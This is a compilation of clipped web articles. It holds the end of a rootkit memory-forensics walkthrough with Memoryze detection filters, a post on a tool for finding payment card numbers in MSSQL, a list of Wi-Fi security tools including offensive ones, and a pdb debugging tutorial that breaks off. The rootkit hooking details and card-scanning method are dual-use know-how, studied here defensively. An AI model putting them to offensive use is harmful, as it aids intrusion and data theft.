Audit Viewer will show the analyst three possible types of rootkits \(see
Figure 2 for a screen shot\).  
  
<img src='img/Temp2_5934.png' />  
**Figure 2: Hooked SSDT entries**  
  
In this case the malware has installed three System Service Descriptor Table
\(SSDT\) hooks. The analyst can determine what driver installed the hooks by
looking at the Hooking Module column. The driver in this case is
burito24b1-1710.sys. This is a non-standard system driver. At this point the
analyst should start to consider the idea that a rootkit has infected their
environment. The functions hooked by this driver are:  

  * NtEnumerateKey
  * NtEnumerateValueKey
  * NtQueryDirectoryFile

The three hooked functions in question are used to hide registry keys,
registry values and files. Memoryze reports the driver should reside at the
location c:\windows\system32. When the analyst views that directory the
burrito\*-\*.sys driver does not exist. Further confirmation that the malware
installs a driver capable of hiding files on disk.  
  
Clicking on the interrupt descriptor table \(IDT\) tab reveals nothing useful.
Clicking on the interrupt request packet \(IRP\) tab reveals something else
about the driver. It appears the driver is hooking the
IRP\_MJ\_DEVICE\_CONTROL function pointer in tcpip.sys. This usually indicates
that the driver is hiding some network activity it or a userland process does
not want seen.  
  
<img src='img/Temp2_5936.png' />  
**Figure 3: IRP hooks**  
  
 _A quick note, the operating system commonly hooks itself so there will be a
number of driver IRP hooks on a non infected machine._  
  
At this point the level of suspicion should be very high and acquiring this
driver for analysis later is going to be important. Acquiring a driver is
essentially capturing how it looks in memory and writing that view to disk for
analysis. One reason acquisition is important is because the driver is
currently hidden on disk. Since the driver is hidden it can't be analyzed at
the moment. Acquiring the driver from memory and writing it to disk will allow
for it to be analyzed. There are two ways to do acquire the driver. If the
analyst is running Audit Viewer on the live system \(within the infected
environment\) check "Running on live memory." Then the analyst can right click
on the driver in the DriverAuditSignature, DriverAuditModule, or RootkitAudit
tabs and acquire it from memory. If the analyst isn't running on live memory
and s/he is running from a memory image. S/he can check "Running on dead
memory" and fill in the text box "Path to Image File" with the image path, and
then do the right click acquire.  
  
<img src='img/Temp2_5939.png' />  
**Figure 4: Acquring driver from memory**  
  
Figure 4 shows how to acquire the driver from the Rootkit tab view.  
  
From just using Memoryze and viewing the results in Audit Viewer the following
has been determined:  

  * The executable in question was malicious.
  * The executable file installed a driver with what appears to be a randomly generated name.
  * The driver is a rootkit that hooks three system calls and an IRP routine. With these hooks the rootkit is capable of hiding itself on disk and in the Registry as well as hiding network traffic.

  
  
This is a lot of information obtain in a very short period of time without the
help of IDA. There is always the potential to go further. In this case, the
question becomes what else is the driver doing or has it done? It is common
for rootkits to want to have some userland presence. This is usually due to
the fact that it takes less knowledge, is safer, and easier to have a userland
component than do everything in the kernel \(even though it is possible\).  
  
Continuing further, the analyst may want to try and see if it's possible to
identify a userland component. Any userland component would have to be
injected into another process since a quick, top level examination of
processes did not reveal anything.  
  

Further Analaysis

  
Analysts can use a number of methods to determine what process has been
compromised. This article will discuss two. The first is to look at a complete
listing of all open ports on the system. The reason the analyst is going to
want to look at ports is that the tcpip.sys hook indicates that the driver is
trying to hide some network activity. Identifying the process that has
suspicious ports open, may quickly identify which process has been
compromised. To get the complete listing of all ports double click on the
process tree root. Double clicking on the process tree root will also give the
analyst a complete listing of all files, mutants, processes, registry keys,
event handles, as well as DLLs, and strings. This will take all the process
handles and sort them by least frequency of occurrence. This means, for
example, the file handles that occur least frequently across all processes are
at the top of the list and file handles that occur frequently across all
processes \(and are less likely to be malicious\) are at the bottom of the
list. This makes it so the analyst doesn't have to sift through all the
results and can focus only on files or other handles that have a low
occurrence across all processes. See Figure 5.  
  
<img src='img/Temp2_5933.png' />  
**Figure 5: Port listing of all processes**  
In this case all the ports are listed for all processes. Since Memoryze
identifies listening ports in memory and does not rely on API calls the
tcpip.sys hook the rootkit install is useless. The analyst will see two
suspicious ports 19769 and 16196.  
  
The fact that services.exe is listening on a non default windows port is one
indication the process might have been compromised. Running tcpview on the
machine will reveal that port 16196 is hidden. This indicates that
services.exe was the process that was injected. The next step from here would
be to acquire the process, examine its memory sections, and identify injected
DLLs.  
  
The second method for identifying compromised processes has two parts. The
first part of this method is to use a feature built into the Audit Viewer.
When the analyst right clicks on the root of the process tree they will get an
option "Scan process for executable memory" this operation will scan all the
processes for sections marked EXECUTE\_READWRITE. The EXECUTE\_READWRITE
memory section permission, is something Jamie Butler spoke about at Hack In
The Box Dubai \(slides\). This specific permission is commonly related to
maliciously injected code - either shellcode or inject dlls/threads. When the
analyst scans the processes, they get a report back that four processes out of
twenty-three processes have the potential indicator that the process has been
injected.  
  
<img src='img/Temp2_5938.png' />  
**Figure 6: Result of scan for executable code**  
  
The second part of the approach will tell the analyst if any of these
processes actually has an injected DLL in memory. Use the process acquisition
techniques discussed by Peter Silberman at Hack In the Box Kuala Lumpur
\(slides\). First acquire all four processes in question. Acquisition is easy
to do if the analyst is running Audit Viewer on the infected machine. If the
analyst isn't running Audit Viewer on the live machine they can acquire an
image of the machine and give Audit Viewer the path to the image. Once Audit
Viewer is setup right click on each process in the tree view and acquire the
process. Once the processes have been acquired \(the author recommends
renaming the directories to something that indicates what it contains\) run
find\_injected\_dll.py on each acquired process.  
Output from running find\_injected\_dll.py script:

[code]

    find_injected_dll.py acquired_explorer_exe/
    Found 0 injected dll(s)
    
    find_injected_dll.py acquired_csrss_exe/
    Found 0 injected dll(s)
    
    find_injected_dll.py acquired_winlogon_exe/
    Found 0 injected dll(s)
    
    find_injected_dll.py acquired_services_exe/
    Found injected dll C%3a%5cWINDOWS%5csystem32%5c668_0x00040000-0x00060fff.VAD
    Found 1 injected dll(s)
    
    
[/code]

From the output of the find\_injected\_dll, there is just one injected DLL and
that is in services.exe.  
  
Both methods help to determine if and what process might have been
compromised. The first method did not definitively tell the analyst where in
memory the injected DLL was. If the analyst were to combine the first method
to identify the process, then acquire the processes memory and run
find\_injected\_dll.py the results would be the same as running
find\_injected\_dll.py on all questionable processes.  
  

Identifying Compromised Machines

  
Part of malware analysis is to develop some kind of way to identify infected
machines. This identification should be based on the malware's behavior. The
analyst can use Memoryze to identify infected machines by filtering a given
process or drivers behavior. The filter could be return all processes that
have a file handle open to "spamlist.txt". Or return any driver that hooks
function's "X and Y." Filters can be simpler, if some malware creates a unique
process or driver name that can be filtered on as well.  
  
Creating filters for malware using Memoryze is relatively easy to do. Memoryze
has the ability to apply xpath filters to its results. In this case, the
rootkit has a few behaviors that can be made into a filter.

  * The malicious driver has a unique driver object \Driver\Buritio\*
  * The malicious driver has unique behavior in the hooks it installed

The first filter, filters out all drivers that don't have a driver object that
matches burito.\*:

[code]

    <?xml version="1.0" encoding="utf-8"?>
    <script xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" chaining="implicit">
      <commands>
        <command xsi:type="ExecuteModuleCommand">
          <module name="w32drivers-signature" version="1.0.34.0" />
          <filters>                                                                                                                
            <filter>                                                                                                               
              <module name="xpath" />                                                                                              
              <config xsi:type="ParameterListModuleConfig">                                                                       
                <parameters>                                                                                                       
                  <param name="expression">                        
                    <value xsi:type="xsd:string">**//*[(matches(lower-case(DriverName), 'burito.*'))]** </param>                                                                                                         
                </parameters>                                                                                                      
              </config>                                                                                                            
            </filter>                                                                                                              
          </filters>                                                                                                                                                       
        </command>                                                                                                                 
      </commands>                                                                                                                  
    </script>                          
    
                 
                  
[/code]

The second filter will identify any malware with the following behavior:  

  * Driver has a hook installed and its name matches burito.\*sys.
  * The hooking driver is hooking tcpip.sys and specifically is hooking the IRP\_MJ\_DEVICE\_CONTROL function.

[code]

    <?xml version="1.0" encoding="utf-8"?>
    <script xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" chaining="implicit">
      <commands>
        <command xsi:type="ExecuteModuleCommand">
          <module name="w32kernel-rootkitdetection" version="1.0.30.0" />
          <config xsi:type="ParameterListModuleConfig">
            <parameters>
            <param name="drivers">
                <value xsi:type="xsd:boolean">true</value>
            </param>
            </parameters>
           </config>                                                                                           
          <filters>                                                                                                                
            <filter>                                                                                                               
              <module name="xpath" />                                                                                              
              <config xsi:type="ParameterListModuleConfig">                                                                        
                <parameters>                                                                                                       
                  <param name="expression">                                                                    
                        <value xsi:type="xsd:string">**//*[(matches(lower-case(HookingModule), 'burito.*sys') and contains(lower-case(HookedFunction), 'irp_mj_device_control') and contains(lower-case(HookedModule), 'tcpip.sys'))]** </value>            
                  </param>                                                                                                         
                </parameters>                                                                                                      
              </config>                                                                                                            
            </filter>                                                                                                              
          </filters>
        </command>                                                                                                                 
      </commands>                                                                                                                  
    </script>                   
    
    
[/code]

Conclusion

  
Hardcore malware analysis will probably always involve some insight from a
disassembler like IDA. However the insight required can be lessened with good
runtime/post runtime analysis tools like Memoryze. Using Memoryze, some common
sense combined with the AuditViewer. It should be clear how this combination
can help to solve the basic quick malware analysis problem.  
  
This is the first post in a series of articles that will be put up on
http://blog.mandiant.com, dealing with a wide variety of topics from malware
analysis and reverse engineering to disk and memory forensics.  
  
All the tools mentioned in the article can be found at the following
locations:

  * Memoryze - http://www.mandiant.com/software/memoryze.htm
  * Audit Viewer - http://blog.mandiant.com/wp-content/uploads/2008/11/auditviewer.zip
  * find\_injected\_dll.py \- here

A good write up on a variant of the malware used in this article can be found
at http://www.offensivecomputing.net/papers/storm-3-9-2008.pdf.  
Article Comments **Write Comment** **/View Complete Comments**  
  
|  | Username | Comment Excerpt | Date   
---|---|---|---|---  
<img src='img/Temp2_5932.png' />| <img src='img/Temp2_5941.png' />| Genius| perfect \! we'll wait for your future articles a... | Monday, March 23 2009 15:54.52 CDT   
| <img src='img/Temp2_5941.png' />| g6123| How information\! | Monday, March 2 2009 00:59.51 CST   
<img src='img/Temp2_5948.png' />| <img src='img/Temp2_5941.png' />| step1515| I was excited to try your tools and techniques ... | Friday, January 16 2009 11:52.26 CST   
| <img src='img/Temp2_5941.png' />| echephron| Peter - email in route. Error is different. A... | Monday, December 15 2008 09:12.59 CST   
<img src='img/Temp2_5948.png' />| <img src='img/Temp2_5941.png' />| peter| echephron, Thanks for the bug report. I assume... | Saturday, December 13 2008 10:02.13 CST   
| <img src='img/Temp2_5941.png' />| echephron| Peter, excellent work. I am having one issue, ... | Friday, December 12 2008 18:00.09 CST   
<img src='img/Temp2_5942.png' />| <img src='img/Temp2_5941.png' />| naggingmachine| Thanks for your cool article. | Wednesday, December 10 2008 20:20.59 CST   
<img src='img/Temp2_5948.png' />| <img src='img/Temp2_5941.png' />| peter| Thanks for pointing that out. I've fixed it. | Thursday, November 27 2008 18:51.41 CST   
<img src='img/Temp2_5935.png' />| <img src='img/Temp2_5941.png' />| k05tya| Peter, thank you for Memoryze, AuditViewer and ... | Thursday, November 27 2008 18:11.59 CST   
<img src='img/Temp2_5945.png' width='1' height='1' />| | There are **11,127** total registered users.   
| Recently Created Topics  
---  
GSM Cellphone Baseband| May/07  
ZwReadVirtualMemory ...| May/07  
Our Fravia is gone?| May/06  
linkers and loaders| May/03  
Reverse Engineering ...| May/01  
Executable behaviour...| Apr/29  
Finding Diffie Hellm...| Apr/23  
Aspack unpacking code| Apr/22  
Static binary manipu...| Apr/21  
Break on access at 0...| Apr/21  
  
  
Recent Forum Posts  
---  
GSM Cellphone Baseband| itsme  
Our Fravia is gone?| frankbo...  
ZwReadVirtualMemory ...| coolads  
Our Fravia is gone?| Gynvael...  
ZwReadVirtualMemory ...| cod  
Mobile Reversing| carib  
Mobile Reversing| carib  
Mobile Reversing| itsme  
Mobile Reversing| carib  
Mobile Reversing| itsme  
  
  
Recent Blog Entries  
---  
| themadhacker| Apr/24  
My First Blog  
  
  
<img src='img/Temp2_5946.png' />| stevem| Apr/18  
IDA Plugin Writing Tutorial...  
  
  
<img src='img/Temp2_5931.png' />| tnagareshwar| Apr/18  
Detecting Hidden Rootkit Se...  
  
  
<img src='img/Temp2_5950.png' />| hexrays| Apr/17  
IDA v5.4 demo  
  
  
<img src='img/Temp2_5948.png' />| bushing| Apr/16  
Updates  
  
  
More ...  
  
  
Recent Blog Comments  
---  
| ryanwsmith on: | Apr/29   
Shellcode Analysis  
  
  
<img src='img/Temp2_5948.png' />| PeterFerrie on: | Apr/24   
Shellcode Analysis  
  
  
<img src='img/Temp2_5949.png' />| pmb on: | Apr/24   
Shellcode Analysis  
  
  
<img src='img/Temp2_5943.png' />| gera on: | Apr/21   
IDA Plugin Writing Tutorial...  
  
  
<img src='img/Temp2_5946.png' />| stevem on: | Apr/21   
IDA Plugin Writing Tutorial...  
  
  
More ...  
  
  
Imagery  
---  
**SoySauce Blueprint**  
Jun 6, 2008  
  
<img src='img/Temp2_5940.png' width='200' />\[+\] expandView Gallery \(11\) /
Submit

# dataLoc: A POC Tool for Finding Payment Cards Stored in MSSQL

**Created:**| _9/4/2017 9:14:15 AM_  
---|---  
**Updated:**| _9/4/2017 9:14:15 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# dataLoc: A POC Tool for Finding Payment Cards Stored in MSSQL

August 15th, 2017

Gabriel Cogar

In this blog I'll be introducing dataLoc, a tool for locating payment cards in
MSSQL databases without requiring the presence of keywords. dataLoc would be
useful for anyone that would like to check their database for payment card
numbers in unexpected places. This could include; DBAs, pen-testers, auditors,
and others.

## dataLoc Overview

At its core, dataLoc functions by using the filtering methods discussed here:
https://blog.netspi.com/identifying-payment-cards-at-rest-going-beyond-the-
key-word-search/

dataLoc is not an injection or attack tool. It requires a direct connection to
a database along with valid user credentials. The user account requires full
read access, as well as the ability to create and drop temp tables.

For those of you that are in a hurry to get started, the dataLoc source and
binaries are available on GitHub:

https://github.com/NetSPI/DataLoc

### Dependencies

dataLoc is a portable stand alone executable. Most systems will already have
the native SQL driver the tool relies on, but if you find that your system
doesn't, it's included with the SQL Server Native Client.
https://docs.microsoft.com/en-us/sql/relational-databases/native-client/sql-
server-native-client

### Configuration

The tool is intended to be easy to use. All you need to do to scan for payment
card numbers is provide a remote host, enter a set of credentials, or enable
windows auth, and click "connect", and then "scan".

<img src='img/Temp2_10158.png' width='624' height='321' />

If you'd like to do targeted scanning you can narrow the focus to a specific
database, table, or even column by selecting the database from the drop down,
and then clicking on the table or column you're interested in.

<img src='img/Temp2_10160.png' width='624' height='321' />

#### General

If you decide to customize some of the more advances settings, you may want to
enable the use of an INI file so your changes persist. In order to keep scan
times reasonable, you may want to enable the per column timeout and set a
reasonable cap of 1 to 10 minutes. Most columns are processed within a few
seconds.

<img src='img/Temp2_10159.png' width='624' height='384' />

#### Scoring

The scoring system is used to generate a confidence rating for each potential
finding. The lower the number, the more likely the item is to be a false
positive. This tool is a simple proof of concept, so it's highly likely you
would benefit from tuning the scoring system to your environment.

<img src='img/Temp2_10161.png' width='624' height='384' />

Scoring is broken up into several sections.

  * Luhn Valid - By default a base score of 50 is assigned for all Luhn valid matches. Anything that fails Luhn validation is discarded.
  * Alpha Delimiters - A letter exists somewhere inside the number sequence Ex: 411a1111111111111
  * Card + CVV - Match is followed by 3 digits Ex: 4111111111111111 123
  * Phone Number - The match looks like it could be part of a phone number Ex: 1-4111111111111111
  * Keywords - The text visa, card, etc. exists in the cell containing the match Ex: visa 4111111111111111
  * Negative Keywords - Triple A membership numbers "aaa" are 16 digits and Luhn valid.
  * Delimiters - The number of delimiters and the types. Ex Count:4 Types:2: 411-111-111-111/1111
  * IIN Check - Does match contain a known IIN

### Known Issues

  * The script is single threaded. Once you start a scan the GUI will become unresponsive until it completes it's run.
  * The only way to stop a scan early is to kill the application.
  * dataLoc was tested exclusively on Windows 10. There may be issues with the GUI on anything older.

Feel free to submit a ticket to the GitHub repository if something doesn't
work as expected. I'd love some constructive feedback.

**References**

https://blog.netspi.com/identifying-payment-cards-at-rest-going-beyond-the-
key-word-search/

https://github.com/NetSPI/DataLoc

Tags: credit cards, mssql, payment cards

  * 0 comments
  * **NetSPI**
  * Login
  * 1

  *  Recommend
  * ⤤ Share
  * Sort by Best

<img src='img/13326_noavatar92.7b2fde640943965cc88df0cdee365907.png'
width='48' height='48' alt='Avatar' />

Start the discussion…

  

###### Log in with

  *   *   *   * 

######  or sign up with Disqus

?

### Disqus is a discussion network

  * Disqus never moderates or censors. The rules on this community are its own.
  * Don't be a jerk or do anything illegal. Everything is easier that way.

Read full terms and conditions

Be the first to comment.

  * Powered by Disqus
  *  _✉_ Subscribe _✔_
  *  _d_ Add Disqus to your site
  *  _🔒_ Privacy

  

# Wireless Security Tools

**Created:**| _1/13/2011 3:34:04 PM_  
---|---  
**Updated:**| _1/13/2011 3:34:21 PM_  
**Author:**| __  
**Tags:**| _crypto signal wireless_  
  
**Wireless Security Tools**  
---  
|  
  
Note that many of the following 802.11 \(Wi-Fi\) tools could be listed in
several categories. However, each tool appears in our list only once, under
its primary category. For example, if all you want to do is to find APs,
choose a Discovery tool. If you want to find APs AND analyze captured Wi-Fi
packets, choose a Wi-Fi Traffic Analyzer. If you want to find APs and monitor
Wi-Fi traffic observed by a network of sensors \(or APs\), choose a WIPS. And
so on. If you know of a **Wi-Fi** tool that should be added to this list,
please send me email.

## Wi-Fi AP Discovery Tools

  * Airodump-ng \(Linux\)
  * AirGrab WiFi Radar \(Win\)
  * AirMobile Agent \(Win, WinCE\)
  * AirRadar \(Win\)
  * AP Radar \(Win\)
  * Farproc Wifi Analyzer \(Android\)
  * Fluke AirCheck \(hardware\)
  * iStumbler \(MacOS\)
  * Kismac-ng \(MacOS\)
  * Meraki Cloud Stumbler \(any browser\)
  * MetaGeek InSSIDer \(Win\)
  * MiniStumbler \(WinCE\)
  * NetChaser \(PalmOS\)
  * NetStumbler \(Win\)
  * PassMark WirelessMon \(Win\)
  * ViStumbler \(Win\)
  * Sandy Roads WiFiHopper \(Win\)
  * WaveStumbler \(Linux\)
  * WeFi \(Win, WinCE, Android, Symbian\)
  * WiFiFoFum \(WinCE, iOS, Android\)
  * WiFinder \(Android\)
  * WiFi Scanner \(MacOS\)
  * Xirrus Wi-Fi Inspector \(Win\)

## Wi-Fi Connection Managers

  * Boingo Software
  * Cisco ACU
  * Fiberlink MaaS360 Agent
  * HandyWi
  * Intel PROSet/Wireless
  * iPass Connect
  * Juniper Odyssey Access Client
  * Microsoft Windows Wireless Zero Config
  * SmithMicro QuickLink Mobile

## Wi-Fi Raw Packet Capture Tools

  * Aircrack-ng Suite
  * CACE AirPcap
  * ettercap
  * libpcap
  * Pirni Sniffer
  * Prism2Dump
  * tcpdump

## Wi-Fi Traffic Analyzers

  * AirMagnet WiFi Analyzer and Handheld Analyzer
  * BVS YellowJacket-BAG
  * Aruba Networks RFprotect Mobile
  * CACE WiFi Pilot
  * Cambridge vxSniffer
  * Fluke Networks OptiView and EtherScope
  * Javvin Network Packet Analyzer
  * Kismet
  * Motorola AirDefense Mobile
  * NetScout Sniffer Portable
  * Network Instruments Network Observer
  * TamoSoft CommView for Wi-Fi
  * Ufasoft Snif
  * WildPackets OmniPeek
  * WireShark \(formerly Ethereal\)

## VoWiFi Traffic and QoS Analyzers

  * AirMagnet VoFi Analyzer
  * VeriWave VoIP QoS Service Assurance Test
  * WildPackets OmniPeek Enhanced Voice Option

## Wi-Fi Intrusion Detection and Prevention Systems

  * AirMagnet Enterprise
  * AirMobile Server
  * AirPatrol WLS
  * AirTight Networks SpectraGuard Enterprise and Online
  * Aruba Networks AirWave RAPIDS
  * Enterasys HiPath Wireless Management Suite
  * HP ProCurve RF Manager
  * Cisco Adaptive WIPS
  * Motorola AirDefense Enterprise
  * Newbury Networks \(Trapeze\) RF Firewall

## Wi-Fi Predictive Planning Tools

  * Aerohive Online Wi-Fi Planner
  * AirMagnet Planner
  * AirTight Networks SpectraGuard Planner
  * Belden Trapeze Networks RingMaster
  * Cisco Wireless Control System Planning Tool
  * Connect802 Suite Spot Predictive Site Survey
  * Ekahau Wireless Site Survey Professional
  * Motorla LAN Planner
  * Psiber RF3D WifiPlanner
  * Ruckus Wireless ZonePlanner

## Wi-Fi Site Survey Heatmapping Tools

  * AirMagnet Survey
  * BVS Hive
  * Ekahau Heatmapper
  * Ekahau Wireless Site Survey Standard
  * Fluke Networks InterpretAir WLAN Survey
  * Helium Networks Wireless Recon
  * Meraki Cloud WiFi Mapper
  * MetaGeek Site Survey
  * Motorola SiteScanner
  * TamoGraph Site Survey
  * VeriWave WaveDeploy
  * VisiWave Site Survey

## Bluetooth Security Tools

  * Aruba BlueScanner
  * BVS Mantis Bluetooth
  * Frontline FTS4BT Bluetooth Protocol Analyzer

## Mobile Wi-Fi Spectrum Analyzers

  * AirMagnet Spectrum Analyzer and AirMedic
  * ArubaOS Spectrum Analysis Module
  * AirSleuth and WifiSleuth Spectrum Analyzers
  * BVS BumbleBee
  * Cisco \(Cognio\) Spectrum Expert and CleanAir Technology
  * Fluke Networks AnalyzeAir Wi-Fi Spectrum Analyzer
  * Meru Networks Spectrum Manager
  * Motorola AirDefense - Network Assurance Solutions
  * MetaGeek Wi-Spy and Chanalyzer

## Wi-Fi Endpoint Security Clients

  * AirPatrol Wireless Endpoint Client
  * AirTight SpectraGuard SAFE
  * Motorola AirDefense Personal
  * ZENworks Endpoint Security

## Wi-Fi Vulnerability Scanners and Assessment Toolkits

  * Airbase
  * Airpwn
  * AP Hopper
  * Autoscan
  * BackTrack – Penetration Testing Distribution
  * FastTrack
  * Immunity SILICA
  * Karma
  * Motorola AirDefense Wireless VA Module
  * MDK3
  * Metasploit \(+ KARMA = Karmetasploit\)
  * Network Security Toolkit
  * Nmap, Zenmap
  * Nessus
  * Organizational Systems Wireless Auditor \(OSWA\) Assistant
  * Security Auditor's Research Assistant
  * WiCrawl
  * WiFiDEnum
  * WiFi-Owl AP Security Audit Tool
  * WiFi Scanner
  * WiFiZoo
  * WLAN Security Assessment Toolkit

# Androguard: Patch a Java class file \!

**Created:**| _1/1/2011 10:54:29 AM_  
---|---  
**Updated:**| _1/1/2011 10:54:42 AM_  
**Author:**| __  
**Tags:**| _reversing analysis_  
  

# Shan's "Fix IT in 1 Minute\!" UNIX Admin Blog: Debugging Python in pdb and
setup breakpoints from Python code

**Created:**| _11/14/2010 4:12:29 PM_  
---|---  
**Updated:**| _11/14/2010 4:12:42 PM_  
**Author:**| __  
**Tags:**| _Debugging python programming_  
  

# Shan's "Fix IT in 1 Minute\!" UNIX Admin Blog

Welcome to "Fix IT in 1 Minute\!" \- Shan Jing's UNIX Administration blog. It
covers Solaris, Linux, AIX, Web; Unix/TCP/IP Internal Programming
\(C/Python/Perl\); TCP/IP Protocols and Services \(DNS, NIS, Kerberos, LDAP,
SSH, Openssl, etc.\); Shell scripting,Perl /Web XML/DBMS SQL; Security &
Intrusion Detection \(nmap,snort\); Enterprise Web Middleware and Backend:
WebLogic/Tomcat/Java/JSP/Web Applications; Grid Computing, Python/Django Web
Framework, etc.

This Blog

Linked From Here

This Blog |   
---|---  
Linked From Here |   
---|---  
### Debugging Python in pdb and setup breakpoints from Python code

This blog describes some techniques/tips on how to debug Python using the
Python debugger pdb.  
  
My "Vim Python IDE"  
The following screen shot shows VIM configured as an almost full function
Python IDE - there are 3 windows in VIM. I edit source code in the upper left
window and open the lower left window for ipython, which shows imported
objects in current namespace; finally, I have pdb debugging the source code at
the right side window. All these can be done with a single key stroke inside
VIM\! \(click the image to enlarge and click again to maximize it\)  
<img src='img/Temp2_7468.jpg' />  
  
  
  
First, I'll show how to use basic Python pdb commands to debug Python code;
then I'll show how to setup pdb breakpoints from the source code.  
  
Then, I'll list vim key mapping that inserts breakpoints by just pressing F1
in vim and use F5 key to debug Python code without leaving Vim editor. Use
this technique, you can debug Python code and travel back-and-forth between
vim and pdb quickly.  
  
At the end, I'll list additional vim key mappings \(Thanks ConqueShell\!\!\)
that enable a single key stroke to trigger a pdb/ipython/ipdb in a split
window inside Vim. This will turn your Vim into a full function Python IDE,
you can edit and debug source code, evaluate attributes, objects in one vim
screen\!  
  
Assume I'm working on the follow code and want to debug it:  

[code]

    shan@ub1:~/code$ nl test.py  
    1  #/usr/bin/env python  
      
    2  class Employee:  
    3      def __init__(self, name, title=None, phone=5551212):  
    4         self.name = name  
    5         self.title = title  
    6         self.phone = phone  
      
    7  def employee():  
    8      shan = Employee("Shan Jing","UNIX ADMIN","2720748")  
    9      joe = Employee("Joe Smith","Application Developer","7207837")  
    10      print (shan.name, shan.title, shan.phone)  
    11      print (joe.name, joe.title, joe.phone)  
      
      
    12  if __name__ == '__main__':  
    13      employee()  
    
    
[/code]

  
1\. Use pdb to debug python \(from Python IDLE\):  
  
Basic procedures:  
a. start python IDLE  
b. import pdb module  
c. import python-code  
d. type pdb.run\('module.method\(\)'\) and you will stop at \(Pdb\) prompt:  
  
For exmaple:  

[code]

      
    shan@ub1:~/code$ python  
    Python 2.6.4 (r264:75706, Dec  7 2009, 18:45:15)  
    [GCC 4.4.1] on linux2  
    Type "help", "copyright", "credits" or "license" for more information.  
    >>> import pdb  
    >>> import test  
    >>> pdb.run('test.employee()')  
    > (1)()->None  
    (Pdb)  
      
    
    
[/code]

  
  
  
Now, type pdb command 's' to step into your code.  

[code]

      
    (Pdb) s  
    --Call--  
    > /home/shan/code/test.py(9)employee()  
    
    
[/code]

The line  
>/home/shan/code/test.py\(9\)employee\(\)  
means the we stop at code /home/shan/code/test.py line 9 which is employee\(\)
method/function.  
  
The "\--Call--" indicates we step into a function/method, if you don't want to
step into a function but want to execute it, use the 'n' command instead
\(explained later\)  
  
type pdb command 'l' to list source code. If you want to see more lines of
code, you can type 'l range' eg 'l 12,22' to display line 12 to 22.  
  

[code]

      
    (Pdb) l  
    4         def __init__(self, name, title=None, phone=5551212):  
    5            self.name = name  
    6            self.title = title  
    7            self.phone = phone  
    8  
    9  -> def employee():  
    10         shan = Employee("Shan Jing","UNIX ADMIN","2720748")  
    11         joe = Employee("Joe Smith","Application Developer","7207837")  
    12         print (shan.name, shan.title, shan.phone)  
    13         print (joe.name, joe.title, joe.phone)  
    14  
    
    
[/code]

  
  
  
Please note, from the above output, the following line shows the NEXT line of
code Python is about to execute.  

[code]

      
    '9  -> def employee():'  
    
    
[/code]

  
When using 's' \(step command\), it's good to know two other related commands
- 'n' and 'c'.  
  
Command 'n' \(next\) will execute the command one line at a time without
stepping into functions.  
  
Command 'c' \(continue\) will continue to execute until the end of current
function.  
  
Another useful pdb command is 'w' \(where\), it shows how the python compiler
gets to the current line. It's very useful if your current position is nested.  
  
Finally, to inspect attribute's value, use p \(print\) command. Or just type
attribute's name.  
  
Here's a complete run:  

[code]

      
    shan@ub1:~/code$ python  
    Python 2.6.4 (r264:75706, Dec  7 2009, 18:45:15)  
    [GCC 4.4.1] on linux2  
    Type "help", "copyright", "credits" or "license" for more information.  
    >>> import pdb  
    >>> import test  
    >>> pdb.run('test.employee()')  
    > (1)()  
    (Pdb) s  
    --Call--  
    > /home/shan/code/test.py(9)employee()  
    -> def employee():  
    (Pdb) l  
    4         def __init__(self, name, title=None, phone=5551212):  
    5            self.name = name  
    6            self.title = title  
    7            self.phone = phone  
    8  
    9  -> def employee():  
    10         shan = Employee("Shan Jing","UNIX ADMIN","2720748")  
    11         joe = Employee("Joe Smith","Application Developer","7207837")  
    12         print (shan.name, shan.title, shan.phone)  
    13         print (joe.name, joe.title, joe.phone)  
    14  
    (Pdb) s  
    > /home/shan/code/test.py(10)employee()  
    -> shan = Employee("Shan Jing","UNIX ADMIN","2720748")  
    (Pdb) s  
    --Call--  
    > /home/shan/code/test.py(4)__init__()  
    -> def __init__(self, name, title=None, phone=5551212):  
    (Pdb) s  
    > /home/shan/code/test.py(5)__init__()  
    -> self.name = name  
    (Pdb) s  
    > /home/shan/code/test.py(6)__init__()  
    -> self.title = title  
    (Pdb) s  
    > /home/shan/code/test.py(7)__init__()  
    -> self.phone = phone  
    (Pdb) s  
    --Return--  
    > /home/shan/code/test.py(7)__init__()->None  
    -> self.phone = phone  
    (Pdb) s  
    > /home/shan/code/test.py(11)employee()  
    -> joe = Employee("Joe Smith","Application Developer","7207837")  
    (Pdb) shan.title  
    'UNIX ADMIN'  
    (Pdb) print shan.phone  
    2720748  
    (Pdb) w  
    /usr/lib/python2.6/bdb.py(368)run()  
    -> exec cmd in globals, locals  
    (1)()  
    > /home/shan/code/test.py(11)employee()  
    -> joe = Employee("Joe Smith","Application Developer","7207837")  
    (Pdb) c  
    ('Shan Jing', 'UNIX ADMIN', '2720748')  
    ('Joe Smith', 'Application Developer', '7207837')  
    
    
[/code]

  
2\. Setting breakpoints from Python code  
  
Sometimes, you don't want to go thru the entire code line by line to debug.
All you need is to jump into certain point in your code and debug that section
only, you can do that by setting up a breakpoint in Python code.  
  
Just add 'import pdb;pdb.set\_trace\(\)' at the point where you want to mark
as breakpoint then run your code as normal, it will stop at the breakpoint and
gives you pdb prompt.  
  
See below line 9:  

[code]

      
    1  #/usr/bin/env python  
      
    2  class Employee:  
    3      def __init__(self, name, title=None, phone=5551212):  
    4         self.name = name  
    5         self.title = title  
    6         self.phone = phone  
      
    7  def employee():  
    8      shan = Employee("Shan Jing","UNIX ADMIN","2720748")  
    9      import pdb;pdb.set_trace()  
    10      joe = Employee("Joe Smith","Application Developer","7207837")  
    11      print (shan.name, shan.title, shan.phone)  
    12      print (joe.name, joe.title, joe.phone)  
      
      
    13  if __name__ == '__main__':  
    14      employee()  
      
      
    shan@ub1:~/code$ python test2.py  
    > /home/shan/code/test2.py(12)employee()  
    -> joe = Employee("Joe Smith","Application Developer","7207837")  
    (Pdb) l  
    7            self.phone = phone  
    8  
    9     def employee():  
    10         shan = Employee("Shan Jing","UNIX ADMIN","2720748")  
    11         import pdb;pdb.set_trace()  
    12  ->     joe = Employee("Joe Smith","Application Developer","7207837")  
    13         print (shan.name, shan.title, shan.phone)  
    14         print (joe.name, joe.title, joe.phone)  
    15  
    16  
    17     if __name__ == '__main__':  
    (Pdb) w  
    /home/shan/code/test2.py(18)()  
    -> employee()  
